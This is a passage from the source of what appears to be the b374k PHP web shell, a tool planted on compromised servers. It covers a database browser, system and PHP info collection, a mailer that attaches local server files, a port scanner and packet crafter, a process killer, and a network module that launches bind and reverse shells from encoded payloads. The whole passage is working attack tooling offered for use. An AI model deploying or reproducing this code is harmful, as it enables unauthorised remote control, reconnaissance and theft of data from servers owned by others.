"; 299 | } 300 | } 301 | } 302 | } 303 | else{ 304 | if(($type!='pdo') && ($type!='odbc')){ 305 | if($type=='mysql') $showdb = "SHOW DATABASES"; 306 | elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; 307 | elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; 308 | elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; 309 | elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; 310 | else $showdb = "SHOW DATABASES"; 311 | 312 | $query_db = sql_query($type, $showdb, $con); 313 | 314 | if($query_db!=false) { 315 | while($db_arr = sql_fetch_data($type, $query_db)){ 316 | foreach($db_arr as $db){ 317 | if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; 318 | elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; 319 | elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; 320 | elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'"; 321 | elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; 322 | else $showtbl = ""; 323 | 324 | $res .= "

".$db."

"; 325 | $query_table = sql_query($type, $showtbl, $con); 326 | 327 | if($query_table!=false){ 328 | while($tables_arr = sql_fetch_data($type, $query_table)){ 329 | foreach($tables_arr as $table) $res .= ""; 330 | } 331 | } 332 | $res .= ""; 333 | } 334 | } 335 | } 336 | } else { 337 | $res = '

Execute SQL Query

'; 338 | } 339 | } 340 | } 341 | if(!empty($res)) output($res); 342 | output('error'); 343 | } 344 | 345 | ?> -------------------------------------------------------------------------------- /module/info.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | info_init(); 3 | 4 | }); 5 | 6 | function info_init(){ 7 | if((infoResult = localStorage.getItem('infoResult'))){ 8 | $('.infoResult').html(infoResult); 9 | } 10 | else{ 11 | info_refresh(); 12 | } 13 | } 14 | 15 | function info_toggle(id){ 16 | $('#'+id).toggle(); 17 | } 18 | 19 | function info_refresh(){ 20 | send_post({infoRefresh:'infoRefresh'}, function(res){ 21 | $('.infoResult').html(res); 22 | localStorage.setItem('infoResult', res); 23 | }); 24 | } -------------------------------------------------------------------------------- /module/info.php: -------------------------------------------------------------------------------- 1 |
"; 6 | 7 | if(!function_exists('info_getinfo')){ 8 | function info_getinfo(){ 9 | $res = ""; 10 | // server misc info 11 | $res .= "

Server Info

"; 12 | $res .= ""; 59 | 60 | if(!is_win()){ 61 | // cpu info 62 | if($i_buff=trim(read_file("/proc/cpuinfo"))){ 63 | $res .= "

CPU Info

"; 64 | $res .= ""; 82 | } 83 | 84 | // mem info 85 | if($i_buff=trim(read_file("/proc/meminfo"))){ 86 | $res .= "

Memory Info

"; 87 | $i_buffs = explode("\n", $i_buff); 88 | $res .= ""; 98 | } 99 | 100 | // partition 101 | if($i_buff=trim(read_file("/proc/partitions"))){ 102 | $i_buff = preg_replace("/\ +/", " ", $i_buff); 103 | $res .= "

Partitions Info

"; 104 | $res .= ""; 119 | } 120 | } 121 | $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); 122 | foreach($phpinfo as $p=>$i){ 123 | $res .= "

".$p."

"; 124 | ob_start(); 125 | eval("phpinfo(".$i.");"); 126 | $b = ob_get_contents(); 127 | ob_end_clean(); 128 | if(preg_match("/(.*?)<\/body>/is", $b, $r)){ 129 | $body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); 130 | $body = str_replace("(.*?)<\/tr>/", "", $body); 132 | $body = preg_replace("//", "", $body); 133 | $body = preg_replace("//", "", $body); 134 | 135 | $res .= ""; 136 | } 137 | } 138 | 139 | $res .= "refresh
"; 140 | return $res; 141 | } 142 | } 143 | 144 | if(isset($p['infoRefresh'])){ 145 | output(info_getinfo()); 146 | } 147 | 148 | ?> -------------------------------------------------------------------------------- /module/mail.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | 3 | }); 4 | 5 | function mail_send(){ 6 | mailFrom = $.trim($('#mailFrom').val()); 7 | mailTo = $.trim($('#mailTo').val()); 8 | mailSubject = $.trim($('#mailSubject').val()); 9 | mailContent = $('#mailContent').val(); 10 | mailAttachment = ''; 11 | if($('.mailAttachment')){ 12 | mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}'); 13 | } 14 | 15 | send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){ 16 | $('#mailResult').html(res); 17 | }); 18 | } 19 | 20 | function mail_attach(){ 21 | content = "Local file
(-)"; 22 | $('#mailTBody').append(content); 23 | } -------------------------------------------------------------------------------- /module/mail.php: -------------------------------------------------------------------------------- 1 | 7 | 8 |

Mail

9 | 10 | 11 | From 12 | To 13 | Subject 14 | 15 | 16 | 17 | 18 | send 19 | attachment 20 | 21 | 22 | 23 | 24 | 25 | "; 26 | 27 | if(!function_exists('send_email')){ 28 | function send_email($from, $to, $subject, $msg, $attachment){ 29 | $headers = "MIME-Version: 1.0\r\n".$from; 30 | 31 | $rand = md5(time()); 32 | $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n"; 33 | 34 | $headers .= "--".$rand."\r\n"; 35 | $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n"; 36 | $headers .= $msg."\r\n\r\n"; 37 | 38 | if(count($attachment)>0){ 39 | foreach($attachment as $file){ 40 | if(is_file($file)){ 41 | $content = chunk_split(base64_encode(read_file($file))); 42 | $headers .= "--".$rand."\r\n"; 43 | $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n"; 44 | $headers .= "Content-Transfer-Encoding: base64\r\n"; 45 | $headers .= "Content-Disposition: attachment\r\n\r\n"; 46 | $headers .= $content."\r\n\r\n"; 47 | } 48 | } 49 | } 50 | $headers .= "--".$rand."--\r\n"; 51 | if(@mail($to, $subject, "", $headers)) return true; 52 | return false; 53 | } 54 | } 55 | 56 | if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ 57 | $mailFrom = trim($p['mailFrom']); 58 | $mailTo = trim($p['mailTo']); 59 | $mailSubject = trim($p['mailSubject']); 60 | $mailContent = trim($p['mailContent']); 61 | $mailAttachment = trim($p['mailAttachment']); 62 | $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); 63 | 64 | if(empty($mailTo)) output("Please specify at least one recipient"); 65 | if(!empty($mailFrom)){ 66 | $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n"; 67 | } 68 | 69 | foreach($mailAttachment as $file){ 70 | $file = trim($file); 71 | if(empty($file)) continue; 72 | if(!is_file($file)) output("No such file : ".$file); 73 | } 74 | 75 | if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); 76 | output("Failed to send mail"); 77 | } 78 | 79 | ?> -------------------------------------------------------------------------------- /module/network.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | rs_init(); 3 | 4 | }); 5 | 6 | function rs_init(){ 7 | if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){ 8 | splits = evalSupported.split(","); 9 | $.each(splits, function(i, k){ 10 | $('.rsType').append(""); 11 | }); 12 | } 13 | else setTimeout('rs_init()', 1000); 14 | 15 | $('#packetContent').on('keydown', function(e){ 16 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ 17 | packet_go(); 18 | } 19 | fix_tabchar(this, e); 20 | }); 21 | } 22 | 23 | function rs_go_bind(){ 24 | rs_go('bind'); 25 | } 26 | function rs_go_back(){ 27 | rs_go('back'); 28 | } 29 | 30 | function rs_go(rsType){ 31 | rsArgs = ""; 32 | if(rsType=='bind'){ 33 | rsPort = parseInt($('#bindPort').val()); 34 | rsLang = $('#bindLang').val(); 35 | rsArgs = rsPort; 36 | rsResult = $('#bindResult'); 37 | } 38 | else if(rsType=='back'){ 39 | rsAddr = $('#backAddr').val(); 40 | rsPort = parseInt($('#backPort').val()); 41 | rsLang = $('#backLang').val(); 42 | rsArgs = rsPort + ' ' + rsAddr; 43 | rsResult = $('#backResult'); 44 | } 45 | 46 | if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){ 47 | rsResult.html('Invalid port'); 48 | return; 49 | } 50 | 51 | if(rsArgs!=''){ 52 | send_post({ rsLang:rsLang, rsArgs:rsArgs }, 53 | function(res){ 54 | if(res!='error'){ 55 | splits = res.split('{[|b374k|]}'); 56 | if(splits.length==2){ 57 | output = splits[0]+"
"+splits[1]; 58 | rsResult.html(output); 59 | } 60 | else{ 61 | rsResult.html(res); 62 | } 63 | } 64 | } 65 | ); 66 | } 67 | } 68 | 69 | function packet_go(){ 70 | packetHost = $('#packetHost').val(); 71 | packetStartPort = parseInt($('#packetStartPort').val()); 72 | packetEndPort = parseInt($('#packetEndPort').val()); 73 | packetTimeout = parseInt($('#packetTimeout').val()); 74 | packetSTimeout = parseInt($('#packetSTimeout').val()); 75 | packetContent = $('#packetContent').val(); 76 | packetResult = $('#packetResult'); 77 | packetStatus = $('#packetStatus'); 78 | packetPortList = $('#packetPortList').val(); 79 | 80 | if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){ 81 | packetResult.html('Invalid start port'); 82 | return; 83 | } 84 | if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){ 85 | packetResult.html('Invalid end port'); 86 | return; 87 | } 88 | 89 | if((isNaN(packetTimeout))||(packetTimeout<=0)){ 90 | packetResult.html('Invalid connection timeout'); 91 | return; 92 | } 93 | if((isNaN(packetSTimeout))||(packetSTimeout<=0)){ 94 | packetResult.html('Invalid stream timeout'); 95 | return; 96 | } 97 | 98 | if(packetStartPort>packetEndPort){ 99 | start = packetEndPort; 100 | end = packetStartPort; 101 | } 102 | else{ 103 | start = packetStartPort; 104 | end = packetEndPort; 105 | } 106 | 107 | if(packetPortList.length > 0) { 108 | packetPortList = packetPortList.split('|'); 109 | packetPortList = packetPortList.map(function(currentValue, index, array){ 110 | currentValue = parseInt(currentValue); 111 | if(!isNaN(currentValue)) { 112 | return currentValue; 113 | } 114 | }) 115 | } else { 116 | packetPortList = []; 117 | } 118 | 119 | for (var i = start; i <= end; i++) { 120 | packetPortList.push(i); 121 | } 122 | 123 | packetPortList = distinct(packetPortList); 124 | packetResult.html(''); 125 | for(var i in packetPortList) { 126 | packetPort = packetPortList[i]; 127 | packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent, function(res) { 128 | if(!res.startsWith('false')) { 129 | packetResult.append(res); 130 | } 131 | }); 132 | } 133 | } 134 | 135 | function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent, func){ 136 | send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, func, false); 137 | } 138 | 139 | function distinct(arr) { 140 | var ret = [], 141 | json = {}, 142 | length = arr.length; 143 | 144 | for(var i = 0; i < length; i++){ 145 | var val = arr[i]; 146 | if(!json[val]){ 147 | json[val] = 1; 148 | ret.push(val); 149 | } 150 | } 151 | return ret; 152 | } -------------------------------------------------------------------------------- /module/network.php: -------------------------------------------------------------------------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N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; 12 | $GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; 13 | $GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgW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30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="; 15 | 16 | $GLOBALS['module']['network']['id'] = "network"; 17 | $GLOBALS['module']['network']['title'] = "Network"; 18 | $GLOBALS['module']['network']['js_ontabselected'] = ""; 19 | $GLOBALS['module']['network']['content'] = " 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 35 | 36 | 37 | 38 | 39 |

Bind Shell

Server IP
Port
31 | 34 | run
Press ' run ' button and run ' nc server_ip port ' on your computer
40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 56 | 57 | 58 | 59 | 60 |

Reverse Shell

Target IP
Port
52 | 55 | run
Run ' nc -l -v -p port ' on your computer and press ' run ' button
61 |
62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 80 | 81 | 82 | 83 | 84 |

Simple Packet Crafter

Host
Start Port
End Port
Port List
Connection Timeout
Stream Timeout
78 | run 79 | You can also press ctrl+enter to submit
85 | "; 86 | 87 | 88 | if(isset($p['rsLang']) && isset($p['rsArgs'])){ 89 | $rsLang = $p['rsLang']; 90 | $rsArgs = $p['rsArgs']; 91 | $res = ""; 92 | 93 | if($rsLang=="php"){ 94 | $code = get_resource("rs_".$rsLang); 95 | if($code!==false){ 96 | $code = "?>".$code; 97 | $res = eval_go($rsLang, $code, "", ""); 98 | } 99 | } 100 | else{ 101 | $code = get_resource("rs_".$rsLang); 102 | if($code!==false){ 103 | $res = eval_go($rsLang, $code, "", $rsArgs); 104 | } 105 | } 106 | 107 | if($res===false) $res == "error"; 108 | output(html_safe($res)); 109 | } 110 | elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ 111 | $packetHost = trim($p['packetHost']); 112 | if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; 113 | 114 | $packetPort = (int) $p['packetPort']; 115 | 116 | $packetTimeout = (int) $p['packetTimeout']; 117 | $packetSTimeout = (int) $p['packetSTimeout']; 118 | 119 | $packetContent = $p['packetContent']; 120 | if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); 121 | else{ 122 | $packetContent = str_replace(array("\r","\n"), "", $packetContent); 123 | $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent); 124 | } 125 | 126 | $res = ""; 127 | 128 | 129 | $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); 130 | if(!$sock){ 131 | $res .= "false " . html_safe(trim($errStr)) . " (error ".html_safe(trim($errNo)).")"; 132 | } 133 | else{ 134 | stream_set_timeout($sock, $packetSTimeout); 135 | fwrite($sock, $packetContent."\r\n\r\n\x00"); 136 | $counter = 0; 137 | $maxtry = 1; 138 | $bin = ""; 139 | do{ 140 | $line = fgets($sock, 1024); 141 | if(trim($line)=="") $counter++; 142 | $bin .= $line; 143 | }while($counter<$maxtry); 144 | fclose($sock); 145 | $res .= "

Host : ".html_safe($packetHost).":{$packetPort}


"; 146 | $res .= ""; 147 | $res .= "
"; 148 | $res .= "
"; 149 | } 150 | 151 | output($res); 152 | } 153 | 154 | ?> -------------------------------------------------------------------------------- /module/processes.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | show_processes(); 3 | }); 4 | 5 | function show_processes(){ 6 | send_post({showProcesses:''}, function(res){ 7 | if(res!='error'){ 8 | $('#processes').html(res); 9 | sorttable.k($('#psTable').get(0)); 10 | ps_bind(); 11 | } 12 | }); 13 | } 14 | 15 | function ps_bind(){ 16 | $('.kill').off('click'); 17 | $('.kill').on('click', function(e){ 18 | kill_pid(ps_get_pid($(this))); 19 | }); 20 | 21 | 22 | cbox_bind('psTable','ps_update_status'); 23 | } 24 | 25 | function ps_get_pid(el){ 26 | return el.parent().parent().attr('data-pid'); 27 | } 28 | 29 | function ps_update_status(){ 30 | totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length; 31 | if(totalSelected==0) $('.psSelected').html(''); 32 | else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )'); 33 | } 34 | 35 | function kill_selected(){ 36 | buffer = get_all_cbox_selected('psTable', 'ps_get_pid'); 37 | 38 | allPid = ''; 39 | $.each(buffer,function(i,v){ 40 | allPid += v + ' '; 41 | }); 42 | allPid = $.trim(allPid); 43 | kill_pid(allPid); 44 | } 45 | 46 | function kill_pid(allPid){ 47 | title = 'Kill'; 48 | content = "
kill
"; 49 | show_box(title, content); 50 | } 51 | 52 | function kill_pid_go(){ 53 | allPid = $('.allPid').val(); 54 | if($.trim(allPid)!=''){ 55 | send_post({allPid:allPid}, function(res){ 56 | if(res!='error'){ 57 | $('.boxresult').html(res + ' process(es) killed'); 58 | } 59 | else $('.boxresult').html('Unable to kill process(es)'); 60 | show_processes(); 61 | }); 62 | } 63 | } -------------------------------------------------------------------------------- /module/processes.php: -------------------------------------------------------------------------------- 1 | "; 24 | if(!is_win()) $res = preg_replace('#\ +#',' ',$res); 25 | 26 | $psarr = explode("\n",$res); 27 | $fi = true; 28 | $tblcount = 0; 29 | 30 | $check = explode($wexplode,$psarr[0]); 31 | $wcount = count($check); 32 | 33 | foreach($psarr as $psa){ 34 | if(trim($psa)!=''){ 35 | if($fi){ 36 | $fi = false; 37 | $psln = explode($wexplode, $psa, $wcount); 38 | $output .= "
action"; 39 | foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"").""; 40 | $output .= ""; 41 | } 42 | else{ 43 | $psln = explode($wexplode, $psa, $wcount); 44 | $pid = trim(trim($psln[1]),"\""); 45 | $tblcount = 0; 46 | $output .= ""; 47 | 48 | foreach($psln as $p){ 49 | if(trim($p)=="") $p = " "; 50 | $p = trim(trim($p) ,"\""); 51 | $p = html_safe($p); 52 | if($tblcount == 0){ 53 | $output .= "
kill".$p.""; 54 | $tblcount++; 55 | } 56 | else{ 57 | $tblcount++; 58 | if($tblcount == count($psln)) $output .= "".$p.""; 59 | else $output .= "".$p.""; 60 | } 61 | } 62 | $output .= ""; 63 | } 64 | } 65 | } 66 | $colspan = count($psln)+1; 67 | $colspanAll = $colspan+1; 68 | $output .= "
kill selectedrefresh"; 69 | } 70 | return $output; 71 | } 72 | } 73 | 74 | 75 | if(isset($p['showProcesses'])){ 76 | $processes = show_processes(); 77 | if($processes!==false) output($processes); 78 | output('error'); 79 | } 80 | elseif(isset($p['allPid'])){ 81 | $allPid = explode(" ", $p['allPid']); 82 | $counter = 0; 83 | foreach($allPid as $pid){ 84 | $pid = trim($pid); 85 | if(!empty($pid)){ 86 | if(function_exists("posix_kill")){ 87 | if(posix_kill($pid,'9')) $counter++; 88 | } 89 | else{ 90 | if(is_win()){ 91 | $cmd = execute("taskkill /F /PID ".$pid); 92 | $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); 93 | if(strpos($cmd,"No tasks are running")!==false) $counter++; 94 | } 95 | else{ 96 | $cmd = execute("kill -9 ".$pid); 97 | if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ 98 | $cmd = trim(execute("ps -p ".$pid)); 99 | $check = explode("\n", $cmd); 100 | if(count($check)==1) $counter++; 101 | } 102 | } 103 | } 104 | } 105 | } 106 | if($counter>0) output($counter); 107 | else output('error'); 108 | } 109 | 110 | ?> --------------------------------------------------------------------------------